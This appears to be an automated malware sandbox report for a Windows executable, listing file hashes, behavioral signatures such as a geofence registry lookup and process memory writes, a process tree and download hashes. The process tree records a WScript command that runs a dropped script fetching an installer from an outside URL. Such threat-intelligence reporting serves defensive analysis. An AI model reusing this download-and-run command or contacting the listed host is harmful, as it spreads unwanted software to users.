Analysis
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max time kernel
146s -
max time network
163s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
07/11/2022, 21:52
Static task
static1
Behavioral task
behavioral1
Sample
ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a.exe
Resource
win10v2004-20220812-en
General
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Target
ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a.exe
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Size
184KB
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MD5
541fbae4925cc92248ebf7b3519e8d67
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SHA1
6baf9f022282d9fe3062f329f260a7f4ff7d4d5a
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SHA256
ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a
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SHA512
89cb763e7a8238b68e73e458c492d4e9abd2e9cfbd8b33a8d527758ab1d14ead916a718caa8f8c2fa52d6140418f893b272c6494b05c6fb71b59c54a90d638c9
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO30:/7BSH8zUB+nGESaaRvoB7FJNndn1
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 6 1940 WScript.exe 8 1940 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 4872 3804 WerFault.exe 78 -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3804 wrote to memory of 1940 3804 ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a.exe 79 PID 3804 wrote to memory of 1940 3804 ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a.exe 79 PID 3804 wrote to memory of 1940 3804 ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a.exe 79
Processes
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C:\Users\Admin\AppData\Local\Temp\ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a.exe"C:\Users\Admin\AppData\Local\Temp\ab00696b47b5f3dafafb17bc4d5acbc62ab013f825913ad316b6b6ee7ba6246a.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3804 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9E77.js" http://www.djapp.info/?domain=jkIoxDTmdv.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf9E77.exe2⤵
- Blocklisted process makes network request
PID:1940
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3804 -s 14322⤵
- Program crash
PID:4872
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3804 -ip 38041⤵PID:3112
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76